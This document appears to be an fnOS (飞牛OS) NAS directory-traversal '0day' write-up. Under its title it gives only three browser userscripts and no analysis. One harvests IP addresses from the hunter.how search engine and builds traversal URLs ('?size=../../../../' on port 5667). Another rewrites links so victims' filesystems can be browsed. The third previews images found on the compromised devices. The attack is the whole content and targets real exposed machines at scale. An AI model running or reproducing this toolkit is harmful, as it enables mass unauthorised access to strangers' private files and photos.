飞牛OS (fnOS) 目录遍历 0day 漏洞复现与分析报告

// ==UserScript==
// @name         Hunter.how IP 拼接工具 (Custom URL)
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  抓取 IP 并拼接特定的测试 URL 模板
// @author       Gemini
// @match        https://hunter.how/list*
// @grant        GM_setClipboard
// @grant        GM_notification
// ==/UserScript==

(function() {
    'use strict';

    // 配置你的 URL 模板
    // {ip} 会被替换成抓取到的 IP 地址
    const urlTemplate = "https://{ip}:5667/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../";

    const btn = document.createElement('button');
    btn.innerHTML = '提取并拼接 URL';
    btn.style.cssText = 'position:fixed;bottom:100px;right:20px;z-index:9999;padding:10px 15px;background-color:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;box-shadow:0 2px 5px rgba(0,0,0,0.3);';

    document.body.appendChild(btn);

    btn.onclick = function() {
        const ipRegex = /\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b/g;

        // 缩小范围至搜索结果列表，避免抓取到无关 IP
        const searchContainer = document.querySelector('.ant-list') || document.body;
        const text = searchContainer.innerText;

        const matches = text.match(ipRegex) || [];
        const uniqueIps = [...new Set(matches)];

        if (uniqueIps.length > 0) {
            // --- 核心修改部分：拼接 URL ---
            const fullUrls = uniqueIps.map(ip => {
                return urlTemplate.replace('{ip}', ip);
            });

            const resultString = fullUrls.join('\n');
            GM_setClipboard(resultString);

            GM_notification({
                title: '处理完成',
                text: `已生成 ${fullUrls.length} 条测试 URL 并复制`,
                timeout: 3000
            });
            console.log('生成的 URL 列表：\n' + resultString);
        } else {
            alert('未在当前页面发现 IP 地址');
        }
    };
})();

// ==UserScript==
// @name 路径遍历链接修复工具
// @namespace http://tampermonkey.net/
// @version 1.0
// @description 修复特定路径下的 LFI/目录遍历链接拼接问题
// @author xxx
// @match *://*/app-center-static/serviceicon/myapp/%7B0%7D/*
// @grant none
// ==/UserScript==

(function() {
'use strict';

// 获取当前页面的查询参数，即 ?size=../../../../ 部分
const currentSearch = window.location.search;
// 获取当前页面的基础路径，即 /app-center-static/serviceicon/myapp/%7B0%7D/
const currentPath = window.location.pathname;

// 选取所有的 <a> 标签
const links = document.querySelectorAll('a');

links.forEach(link => {
// 获取 HTML 中原本的 href 属性值（例如 "vol1/" 或 "bin"），而非浏览器解析后的完整 URL
const rawHref = link.getAttribute('href');

if (rawHref) {
// 核心逻辑：基础路径 + 原有查询参数 + 目标文件路径
// 结果：.../myapp/%7B0%7D/?size=../../../../vol1/
const newUrl = currentPath + currentSearch + rawHref;

// 修改链接的指向
link.href = newUrl;
}
});

console.log(`已修正 ${links.length} 个路径遍历链接。`);
})();

// ==UserScript==
// @name 飞牛图片快速预览助手
// @match *://*/app-center-static/serviceicon/myapp/*
// @grant none
// ==/UserScript==

(function() {
    'use strict';
    // 1. 找到所有图片链接 (以 JPG, PNG 等结尾)
    const links = document.querySelectorAll('a');

    links.forEach(link => {
        const href = link.href.toLowerCase();
        if (href.match(/\.(jpg|jpeg|png|gif|webp)$/)) {
            // 2. 在链接下方直接插入一个缩略图
            const img = document.createElement('img');
            img.src = link.href;
            img.style.display = 'block';
            img.style.maxWidth = '200px'; // 缩略图大小
            img.style.margin = '10px 0';
            img.style.borderRadius = '5px';
            img.style.border = '1px solid #ccc';

            link.after(img); // 将图片放在链接后面
        }
    });
})();

chromium --ignore-certificate-errors